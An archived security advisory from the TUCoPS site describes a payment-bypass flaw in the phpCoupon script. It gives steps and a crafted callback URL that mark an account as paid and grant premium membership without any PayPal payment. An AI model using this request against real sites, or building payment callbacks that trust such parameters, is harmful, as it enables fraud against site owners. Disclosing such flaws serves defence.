TUCoPS :: Web :: PHP :: tb11827.htm

phpCoupon Vulnerabilities
phpCoupon Vulnerabilities
phpCoupon Vulnerabilities



Discovered by freeprotect.net member
Vendor site: http://phpcoupon.com 
===================================phpCoupon is Developed to provide an affordable and easy to operate local coupon websites for local and niche directory owners and entrepreneurs seeking income opportunites.
It has a security hole. Please show how to exploit following:
1. Click "Business Owners" and register account.
2. Login and show:
-------------------------------------------------
Membership Expiration:	00-00-0000
Maximum Coupons:	0	Coupons Used:	0	Coupons Available:	0
-------------------------------------------------
Meaning you aren't Premium Member.
3. Click "Billing Control Panel"
Click "Buy now" will redirect to paypal.com
OK, now copy this link http://site.com/path/user.php/user.php?REQ=auth&billing=141&status=success&custom=upgradeX and paste override paypal link. 
Note: =upgradeX ---> X is number of coupon you need. Example: http://site.com/path/user.php/user.php?REQ=auth&billing=141&status=success&custom=upgrade5 
OK now relogin you account you see:
-------------------------------------------------
Membership Expiration:	07-28-2007
Maximum Coupons:	0	Coupons Used:	0	Coupons Available:	0
-------------------------------------------------
You are Premium Member!!!!

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH